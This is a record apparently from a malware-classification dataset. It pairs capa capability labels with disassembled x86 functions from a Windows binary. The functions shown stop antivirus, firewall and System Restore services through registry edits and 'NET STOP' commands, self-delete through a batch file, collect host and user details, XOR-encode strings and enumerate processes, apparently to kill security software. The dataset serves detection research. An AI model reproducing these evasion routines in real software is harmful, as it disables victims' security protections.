joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ddf4
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff50
mov eax, 0x5c4e14
call fcn.00496b84
mov word [ebp - 0x20], 8
lea eax, [ebp - 4]
call fcn.00401ab4
inc dword [ebp - 0x14]
mov word [ebp - 0x20], 0x14
mov word [ebp - 0x20], 0x20
lea eax, [ebp - 8]
call fcn.00401ab4
inc dword [ebp - 0x14]
mov word [ebp - 0x20], 0x14
push 4
call fcn.004959ac
pop ecx
mov dword [ebp - 0x38], eax
push 4
call fcn.004959ac
pop ecx
mov dword [ebp - 0x3c], eax
mov edx, dword [ebp - 0x3c]
mov ecx, 0x32
mov dword [edx], ecx
mov eax, dword [ebp - 0x38]
mov dword [eax], ecx
xor edx, edx
mov dword [ebp - 0x40], edx
xor eax, eax
mov dword [ebp - 0x44], eax
push 8
call fcn.004959ac
pop ecx
mov dword [ebp - 0x48], eax
jmp 0x40deb7
mov edx, dword [ebp - 0x3c]
mov ecx, 0x32
mov dword [edx], ecx
mov eax, dword [ebp - 0x38]
mov dword [eax], ecx
inc dword [ebp - 0x44]
xor edx, edx
mov dword [ebp - 0x40], edx
mov word [ebp - 0x20], 0x2c
lea edx, [ebp - 0x7c]
lea eax, [ebp - 0xc]
call fcn.004a448c
inc dword [ebp - 0x14]
lea edx, [ebp - 0xc]
lea eax, [ebp - 8]
call fcn.004a4660
dec dword [ebp - 0x14]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4630
push dword [ebp - 0x48]
push dword [ebp - 0x3c]
lea ecx, [ebp - 0xb0]
push ecx
push dword [ebp - 0x40]
push dword [ebp - 0x38]
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x44]
push reloc.WSOCK32.DLL_closesocket
call sub.ADVAPI32.DLL_RegEnumKeyExA
test eax, eax
je 0x40de71
mov word [ebp - 0x20], 0x38
lea edx, [ebp - 8]
mov eax, dword [ebp + 8]
call fcn.004a4660
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x44
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4630
pop eax
mov word [ebp - 0x20], 0x38
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret

Function at 0x40e520
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed0
mov eax, 0x5c5090
call fcn.00496b84
push 0x104
lea edx, [ebp - 0x130]
push edx
call sub.KERNEL32.DLL_GetWindowsDirectoryA
test eax, eax
je 0x40e599
mov word [ebp - 0x1c], 8
lea eax, [ebp - 4]
mov dl, byte [ebp - 0x130]
call fcn.004a455c
mov edx, eax
inc dword [ebp - 0x10]
mov eax, dword [ebp + 8]
call fcn.004a4660
mov eax, dword [ebp + 8]
mov word [ebp - 0x1c], 0x14
push eax
dec dword [ebp - 0x10]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4630
pop eax
mov word [ebp - 0x1c], 8
inc dword [ebp - 0x10]
mov edx, dword [ebp - 0x2c]
mov dword fs:[0], edx
jmp 0x40e5e8
mov word [ebp - 0x1c], 0x20
mov edx, 0x5bcea9
lea eax, [ebp - 8]
call fcn.004a448c
inc dword [ebp - 0x10]
lea edx, [ebp - 8]
mov eax, dword [ebp + 8]
call fcn.004a4660
mov eax, dword [ebp + 8]
mov word [ebp - 0x1c], 0x2c
push eax
dec dword [ebp - 0x10]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4630
pop eax
mov word [ebp - 0x1c], 0x20
inc dword [ebp - 0x10]
mov edx, dword [ebp - 0x2c]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x40e5ec
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd8
mov eax, 0x5c5150
call fcn.00496b84
mov dword [ebp - 0x14], 1
lea edx, [ebp + 0xc]
lea eax, [ebp + 0xc]
call fcn.004a44c4
inc dword [ebp - 0x14]
mov word [ebp - 0x20], 8
mov word [ebp - 0x20], 0x14
lea eax, [ebp - 4]
call fcn.00401ab4
inc dword [ebp - 0x14]
mov word [ebp - 0x20], 8
lea edx, [ebp - 0x228]
push edx
push 2
call sub.WSOCK32.DLL_WSAStartup
lea eax, [ebp + 0xc]
call fcn.00401ae4
push eax
call sub.WSOCK32.DLL_gethostbyname
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x40e6cc
call sub.WSOCK32.DLL_WSACleanup
mov word [ebp - 0x20], 0x20
lea eax, [ebp - 8]
xor edx, edx
call fcn.004a45a8
inc dword [ebp - 0x14]
lea edx, [ebp - 8]
mov eax, dword [ebp + 8]
call fcn.004a4660
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x2c
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0x14]
lea eax, [ebp + 0xc]
mov edx, 2
call fcn.004a4630
pop eax
mov word [ebp - 0x20], 0x20
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
jmp 0x40e75c
mov word [ebp - 0x20], 0x38
mov ecx, dword [ebp - 0x34]
mov eax, dword [ecx + 0xc]
mov edx, dword [eax]
push dword [edx]
call sub.WSOCK32.DLL_inet_ntoa
mov edx, eax
lea eax, [ebp - 0xc]
call fcn.004a448c
mov edx, eax
inc dword [ebp - 0x14]
lea eax, [ebp - 4]
call fcn.004a4660
dec dword [ebp - 0x14]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4630
call sub.WSOCK32.DLL_WSACleanup
mov word [ebp - 0x20], 0x44
lea edx, [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.004a4660
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x50
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0x14]
lea eax, [ebp + 0xc]
mov edx, 2
call fcn.004a4630
pop eax
mov word [ebp - 0x20], 0x44
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x40e760
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff2c
push ebx
push esi
push edi
mov eax, 0x5c521c
call fcn.00496b84
mov dword [ebp - 0xd4], 0x94
lea edx, [ebp - 0xd4]
push edx
call sub.KERNEL32.DLL_GetVersionExA
test eax, eax
je 0x40e901
cmp dword [ebp - 0xc4], 2
jne 0x40e901
mov dl, 1
mov eax, dword [0x450fb8]
call fcn.004510b8
mov dword [ebp - 0x40], eax
mov word [ebp - 0x2c], 8
mov word [ebp - 0x2c], 0x14
mov edx, reloc.WSOCK32.DLL_bind
mov eax, dword [ebp - 0x40]
call fcn.004a43f8
mov word [ebp - 0x2c], 0x20
mov edx, str.SYSTEMControlSet001Services_navapsvc
lea eax, [ebp - 4]
call fcn.004a448c
inc dword [ebp - 0x20]
mov edx, dword [eax]
xor ecx, ecx
mov eax, dword [ebp - 0x40]
call fcn.0045129c
dec dword [ebp - 0x20]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4630
mov word [ebp - 0x2c], 0x2c
mov edx, 0x5bced2
lea eax, [ebp - 8]
call fcn.004a448c
inc dword [ebp - 0x20]
mov edx, dword [eax]
mov ecx, 4
mov eax, dword [ebp - 0x40]
call fcn.0045186c
dec dword [ebp - 0x20]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4630
mov eax, dword [ebp - 0x40]
call fcn.00451128
mov word [ebp - 0x2c], 0x38
mov edx, str.SYSTEMCurrentControlSetServices_navapsvc
lea eax, [ebp - 0xc]
call fcn.004a448c
inc dword [ebp - 0x20]
mov edx, dword [eax]
xor ecx, ecx
mov eax, dword [ebp - 0x40]
call fcn.0045129c
dec dword [ebp - 0x20]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4630
mov word [ebp - 0x2c], 0x44
mov edx, 0x5bcf03
lea eax, [ebp - 0x10]
call fcn.004a448c
inc dword [ebp - 0x20]
mov edx, dword [eax]
mov ecx, 4
mov eax, dword [ebp - 0x40]
call fcn.0045186c
dec dword [ebp - 0x20]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004a4630
mov eax, dword [ebp - 0x40]
call fcn.00451128
mov word [ebp - 0x2c], 8
jmp 0x40e8ba
push 0
push str.NET_STOP_navapsvc
call sub.KERNEL32.DLL_WinExec
mov word [ebp - 0x2c], 0
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0
je 0x40e8f9
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx]
mov dword [ebp - 0x14], eax
mov word [ebp - 0x2c], 0x5c
mov edx, 3
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x2c], 0x50
cmp word [ebp - 0x2a], 0
je 0x40e901
ret
mov edx, dword [ebp - 0x3c]
mov dword fs:[0], edx
mov edi, dword [ebp - 0xe0]
mov esi, dword [ebp - 0xdc]
mov ebx, dword [ebp - 0xd8]
mov esp, ebp
pop ebp
ret
Function at 0x40ec04
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd0
mov eax, 0x5c53e0
call fcn.00496b84
mov word [ebp - 0x20], 8
lea eax, [ebp - 4]
call fcn.00401ab4
inc dword [ebp - 0x14]
mov word [ebp - 0x20], 0x14
push 0
push 0
call sub.USER32.DLL_FindWindowA
mov dword [ebp - 0x34], eax
xor edx, edx
mov dword [ebp - 0x3c], edx
push 2
push dword [ebp - 0x34]
call sub.USER32.DLL_GetWindow
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x40ed01
push 0x1f4
lea ecx, [ebp - 0x230]
push ecx
push dword [ebp - 0x34]
call sub.USER32.DLL_GetWindowTextA
mov word [ebp - 0x20], 0x20
lea edx, [ebp - 0x230]
lea eax, [ebp - 8]
call fcn.004a448c
inc dword [ebp - 0x14]
lea edx, [ebp - 8]
lea eax, [ebp - 4]
call fcn.004a4660
dec dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4630
mov word [ebp - 0x20], 0x2c
lea eax, [ebp - 0xc]
mov edx, dword [ebp + 8]
call fcn.004a448c
inc dword [ebp - 0x14]
lea edx, [ebp - 0xc]
lea eax, [ebp - 4]
call fcn.004a4714
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4630
pop ecx
test cl, cl
je 0x40ecf1
mov al, 1
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4630
pop eax
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
jmp 0x40ed1f
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xc8
jl 0x40ec3f
xor eax, eax
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4630
pop eax
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret

Function at 0x40ed24
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 6
push dword [ebp + 8]
call sub.KERNEL32.DLL_SetFileAttributesA
pop ebp
ret

Function at 0x40ed34
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffcec
mov byte [ebp - 1], 0x22
mov byte [ebp - 2], 0x25
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
lea edx, [ebp - 0x10c]
push edx
lea ecx, [ebp - 0x210]
push ecx
call fcn.004967ec
add esp, 8
push 0x100
lea eax, [ebp - 0x314]
push eax
lea edx, [ebp - 0x210]
push edx
call sub.KERNEL32.DLL_GetShortPathNameA
push 0x5bcfb9
push str..bat
lea ecx, [ebp - 0x10c]
push ecx
call fcn.00496710
add esp, 8
push eax
call fcn.00498634
add esp, 8
mov dword [ebp - 8], eax
test eax, eax
je 0x40ee2d
push 0x5bcfbb
push dword [ebp - 8]
call fcn.00498668
add esp, 8
movsx edx, byte [ebp - 1]
push edx
lea ecx, [ebp - 0x314]
push ecx
movsx eax, byte [ebp - 1]
push eax
push str.del__c_s_c_n
push dword [ebp - 8]
call fcn.00498668
add esp, 0x14
movsx edx, byte [ebp - 1]
push edx
lea ecx, [ebp - 0x314]
push ecx
movsx eax, byte [ebp - 1]
push eax
push str.if_exist___c_s_c_goto_1_n
push dword [ebp - 8]
call fcn.00498668
add esp, 0x14
movsx edx, byte [ebp - 2]
push edx
push str.del__c0_n
push dword [ebp - 8]
call fcn.00498668
add esp, 0xc
push dword [ebp - 8]
call fcn.004982cc
pop ecx
push 0
lea ecx, [ebp - 0x10c]
push ecx
call sub.KERNEL32.DLL_WinExec
mov esp, ebp
pop ebp
ret
Function at 0x40fe54
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde0
mov eax, 0x5c5c50
call fcn.00496b84
lea edx, [ebp - 0x220]
push edx
push 2
call sub.WSOCK32.DLL_WSAStartup
push 0x64
lea ecx, [ebp - 0x90]
push ecx
call sub.WSOCK32.DLL_gethostname
lea eax, [ebp - 0x90]
push eax
call sub.WSOCK32.DLL_gethostbyname
mov dword [ebp - 0x2c], eax
call sub.WSOCK32.DLL_WSACleanup
mov word [ebp - 0x18], 8
mov edx, dword [ebp - 0x2c]
mov ecx, dword [edx + 0xc]
mov eax, dword [ecx]
push dword [eax]
call sub.WSOCK32.DLL_inet_ntoa
mov edx, eax
lea eax, [ebp - 4]
call fcn.004a448c
mov edx, eax
inc dword [ebp - 0xc]
mov eax, dword [ebp + 8]
call fcn.004a4660
mov eax, dword [ebp + 8]
mov word [ebp - 0x18], 0x14
push eax
dec dword [ebp - 0xc]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4630
pop eax
mov word [ebp - 0x18], 8
inc dword [ebp - 0xc]
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret

Function at 0x4101cc
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
mov eax, 0x5c5e1c
call fcn.00496b84
mov dword [ebp - 0x34], 0x10
lea edx, [ebp - 0x34]
push edx
lea ecx, [ebp - 0x48]
push ecx
call sub.KERNEL32.DLL_GetComputerNameA
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x41026e
mov word [ebp - 0x20], 8
lea edx, [ebp - 0x48]
lea eax, [ebp - 4]
call fcn.004a448c
inc dword [ebp - 0x14]
push dword [eax]
lea eax, [ebp - 8]
call fcn.00401ab4
push eax
inc dword [ebp - 0x14]
call fcn.0041004c
add esp, 8
lea edx, [ebp - 8]
mov eax, dword [ebp + 8]
call fcn.004a4660
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x14
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4630
pop eax
mov word [ebp - 0x20], 8
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
jmp 0x4102bd
mov word [ebp - 0x20], 0x20
mov edx, 0x5bd2c9
lea eax, [ebp - 0xc]
call fcn.004a448c
inc dword [ebp - 0x14]
lea edx, [ebp - 0xc]
mov eax, dword [ebp + 8]
call fcn.004a4660
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x2c
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4630
pop eax
mov word [ebp - 0x20], 0x20
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x4102c4
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed0
mov eax, 0x5c5eb8
call fcn.00496b84
mov dword [ebp - 0x34], 0xfa
lea edx, [ebp - 0x34]
push edx
lea ecx, [ebp - 0x130]
push ecx
call sub.ADVAPI32.DLL_GetUserNameA
test eax, eax
setne al
and eax, 1
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x410377
mov word [ebp - 0x20], 8
lea edx, [ebp - 0x130]
lea eax, [ebp - 4]
call fcn.004a448c
inc dword [ebp - 0x14]
push dword [eax]
lea eax, [ebp - 8]
call fcn.00401ab4
push eax
inc dword [ebp - 0x14]
call fcn.0041004c
add esp, 8
lea edx, [ebp - 8]
mov eax, dword [ebp + 8]
call fcn.004a4660
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x14
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4630
pop eax
mov word [ebp - 0x20], 8
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
jmp 0x4103c6
mov word [ebp - 0x20], 0x20
mov edx, 0x5bd2d0
lea eax, [ebp - 0xc]
call fcn.004a448c
inc dword [ebp - 0x14]
lea edx, [ebp - 0xc]
mov eax, dword [ebp + 8]
call fcn.004a4660
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x2c
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4630
pop eax
mov word [ebp - 0x20], 0x20
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x410540
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff34
push ebx
push esi
push edi
mov eax, 0x5c6000
call fcn.00496b84
mov word [ebp - 0x24], 8
mov dword [ebp - 0xcc], 0x94
lea edx, [ebp - 0xcc]
push edx
call sub.KERNEL32.DLL_GetVersionExA
test eax, eax
je 0x410693
cmp dword [ebp - 0xbc], 2
jne 0x410693
mov dl, 1
mov eax, dword [0x450fb8]
call fcn.004510b8
mov dword [ebp - 0x38], eax
mov word [ebp - 0x24], 8
mov edx, reloc.WSOCK32.DLL_bind
mov eax, dword [ebp - 0x38]
call fcn.004a43f8
mov word [ebp - 0x24], 0x14
mov edx, str.SYSTEMControlSet001ServicesSharedAccess
lea eax, [ebp - 4]
call fcn.004a448c
inc dword [ebp - 0x18]
mov edx, dword [eax]
mov cl, 1
mov eax, dword [ebp - 0x38]
call fcn.0045129c
dec dword [ebp - 0x18]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4630
mov word [ebp - 0x24], 0x20
mov edx, 0x5bd524
lea eax, [ebp - 8]
call fcn.004a448c
inc dword [ebp - 0x18]
mov edx, dword [eax]
mov ecx, 4
mov eax, dword [ebp - 0x38]
call fcn.0045186c
dec dword [ebp - 0x18]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4630
mov eax, dword [ebp - 0x38]
call fcn.00451128
mov word [ebp - 0x24], 0x2c
mov edx, str.SYSTEMCurrentControlSetServicesSharedAccess
lea eax, [ebp - 0xc]
call fcn.004a448c
inc dword [ebp - 0x18]
mov edx, dword [eax]
mov cl, 1
mov eax, dword [ebp - 0x38]
call fcn.0045129c
dec dword [ebp - 0x18]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4630
mov word [ebp - 0x24], 0x38
mov edx, 0x5bd559
lea eax, [ebp - 0x10]
call fcn.004a448c
inc dword [ebp - 0x18]
mov edx, dword [eax]
mov ecx, 4
mov eax, dword [ebp - 0x38]
call fcn.0045186c
dec dword [ebp - 0x18]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004a4630
mov eax, dword [ebp - 0x38]
call fcn.00451128
push 0
push str.NET_STOP_SharedAccess
call sub.KERNEL32.DLL_WinExec
mov word [ebp - 0x24], 0
jmp 0x4106a6
mov edx, dword [ebp - 0x34]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4106b8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff34
push ebx
push esi
push edi
mov eax, 0x5c60a4
call fcn.00496b84
mov word [ebp - 0x24], 8
mov dword [ebp - 0xcc], 0x94
lea edx, [ebp - 0xcc]
push edx
call sub.KERNEL32.DLL_GetVersionExA
test eax, eax
je 0x41080b
cmp dword [ebp - 0xbc], 2
jne 0x41080b
mov dl, 1
mov eax, dword [0x450fb8]
call fcn.004510b8
mov dword [ebp - 0x38], eax
mov word [ebp - 0x24], 8
mov edx, reloc.WSOCK32.DLL_bind
mov eax, dword [ebp - 0x38]
call fcn.004a43f8
mov word [ebp - 0x24], 0x14
mov edx, str.SYSTEMControlSet001Services_srservice
lea eax, [ebp - 4]
call fcn.004a448c
inc dword [ebp - 0x18]
mov edx, dword [eax]
mov cl, 1
mov eax, dword [ebp - 0x38]
call fcn.0045129c
dec dword [ebp - 0x18]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4630
mov word [ebp - 0x24], 0x20
mov edx, 0x5bd59d
lea eax, [ebp - 8]
call fcn.004a448c
inc dword [ebp - 0x18]
mov edx, dword [eax]
mov ecx, 4
mov eax, dword [ebp - 0x38]
call fcn.0045186c
dec dword [ebp - 0x18]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4630
mov eax, dword [ebp - 0x38]
call fcn.00451128
mov word [ebp - 0x24], 0x2c
mov edx, str.SYSTEMCurrentControlSetServices_srservice
lea eax, [ebp - 0xc]
call fcn.004a448c
inc dword [ebp - 0x18]
mov edx, dword [eax]
mov cl, 1
mov eax, dword [ebp - 0x38]
call fcn.0045129c
dec dword [ebp - 0x18]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4630
mov word [ebp - 0x24], 0x38
mov edx, str.Start
lea eax, [ebp - 0x10]
call fcn.004a448c
inc dword [ebp - 0x18]
mov edx, dword [eax]
mov ecx, 4
mov eax, dword [ebp - 0x38]
call fcn.0045186c
dec dword [ebp - 0x18]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004a4630
mov eax, dword [ebp - 0x38]
call fcn.00451128
push 0
push str.NET_STOP_srservice
call sub.KERNEL32.DLL_WinExec
mov word [ebp - 0x24], 0
jmp 0x41081e
mov edx, dword [ebp - 0x34]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x410830
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
mov eax, 0x5c6134
call fcn.00496b84
mov dword [ebp - 0xc], 1
lea edx, [ebp + 0xc]
lea eax, [ebp + 0xc]
call fcn.004a44c4
inc dword [ebp - 0xc]
mov word [ebp - 0x18], 8
mov word [ebp - 0x18], 0x14
lea edx, [ebp + 0xc]
lea eax, [ebp - 4]
call fcn.004a44c4
inc dword [ebp - 0xc]
mov word [ebp - 0x18], 8
mov byte [ebp - 0x29], 1
lea eax, [ebp - 4]
call fcn.00403a74
mov dword [ebp - 0x30], eax
xor edx, edx
mov dword [ebp - 0x34], edx
mov ecx, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0x30]
jge 0x4108ad
lea eax, [ebp - 4]
call fcn.00401ae4
mov edx, dword [ebp - 0x34]
mov cl, byte [ebp - 0x29]
xor byte [eax + edx], cl
inc dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x30]
jl 0x410891
mov word [ebp - 0x18], 0x20
lea edx, [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.004a4660
mov eax, dword [ebp + 8]
mov word [ebp - 0x18], 0x2c
push eax
dec dword [ebp - 0xc]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0xc]
lea eax, [ebp + 0xc]
mov edx, 2
call fcn.004a4630
pop eax
mov word [ebp - 0x18], 0x20
inc dword [ebp - 0xc]
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x410900
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
mov eax, 0x5c61b8
call fcn.00496b84
mov dword [ebp - 0xc], 1
lea edx, [ebp + 0xc]
lea eax, [ebp + 0xc]
call fcn.004a44c4
inc dword [ebp - 0xc]
mov word [ebp - 0x18], 8
mov word [ebp - 0x18], 0x14
lea edx, [ebp + 0xc]
lea eax, [ebp - 4]
call fcn.004a44c4
inc dword [ebp - 0xc]
mov word [ebp - 0x18], 8
mov byte [ebp - 0x29], 2
lea eax, [ebp - 4]
call fcn.00403a74
mov dword [ebp - 0x30], eax
xor edx, edx
mov dword [ebp - 0x34], edx
mov ecx, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0x30]
jge 0x41097d
lea eax, [ebp - 4]
call fcn.00401ae4
mov edx, dword [ebp - 0x34]
mov cl, byte [ebp - 0x29]
xor byte [eax + edx], cl
inc dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x30]
jl 0x410961
mov word [ebp - 0x18], 0x20
lea edx, [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.004a4660
mov eax, dword [ebp + 8]
mov word [ebp - 0x18], 0x2c
push eax
dec dword [ebp - 0xc]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0xc]
lea eax, [ebp + 0xc]
mov edx, 2
call fcn.004a4630
pop eax
mov word [ebp - 0x18], 0x20
inc dword [ebp - 0xc]
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x410b60
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe8c
mov eax, 0x5c62ac
call fcn.00496b84
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xffffffff
jne 0x410b96
xor eax, eax
mov edx, dword [ebp - 0x3c]
mov dword fs:[0], edx
jmp 0x410d2f
mov dword [ebp - 0x174], 0x128
lea ecx, [ebp - 0x174]
push ecx
push dword [ebp - 0x40]
call sub.KERNEL32.DLL_Process32First
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
je 0x410d1b
xor eax, eax
mov dword [ebp - 0x4c], eax
mov word [ebp - 0x2c], 8
mov edx, dword [ebp - 0x4c]
mov edx, dword [edx*4 + 0x4ba498]
lea eax, [ebp - 4]
call fcn.004a448c
inc dword [ebp - 0x20]
push dword [eax]
lea eax, [ebp - 8]
call fcn.00401ab4
push eax
inc dword [ebp - 0x20]
call fcn.00410900
add esp, 8
lea eax, [ebp - 8]
call fcn.00401ae4
push eax
call sub.USER32.DLL_CharLowerA
push eax
lea eax, [ebp - 0x10]
call fcn.00401ab4
push eax
inc dword [ebp - 0x20]
lea edx, [ebp - 0x150]
lea eax, [ebp - 0xc]
call fcn.004a448c
inc dword [ebp - 0x20]
mov eax, dword [eax]
pop edx
call fcn.0048b798
lea eax, [ebp - 0x10]
call fcn.00401ae4
push eax
call sub.USER32.DLL_CharLowerA
push eax
call fcn.004967a0
add esp, 8
test eax, eax
sete dl
and edx, 1
push edx
dec dword [ebp - 0x20]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0x20]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0x20]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0x20]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4630
pop ecx
test cl, cl
je 0x410ce5
mov word [ebp - 0x2c], 0x14
lea eax, [ebp - 0x18]
call fcn.00401ab4
push eax
inc dword [ebp - 0x20]
lea edx, [ebp - 0x150]
lea eax, [ebp - 0x14]
call fcn.004a448c
inc dword [ebp - 0x20]
mov eax, dword [eax]
pop edx
call fcn.0048b798
lea eax, [ebp - 0x18]
call fcn.00401ae4
push eax
call fcn.00401d68
pop ecx
dec dword [ebp - 0x20]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0x20]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004a4630
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 0x183
jl 0x410bc1
mov dword [ebp - 0x174], 0x128
lea ecx, [ebp - 0x174]
push ecx
push dword [ebp - 0x40]
call sub.KERNEL32.DLL_Process32Next
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jne 0x410bbc
push dword [ebp - 0x40]
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
mov edx, dword [ebp - 0x3c]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret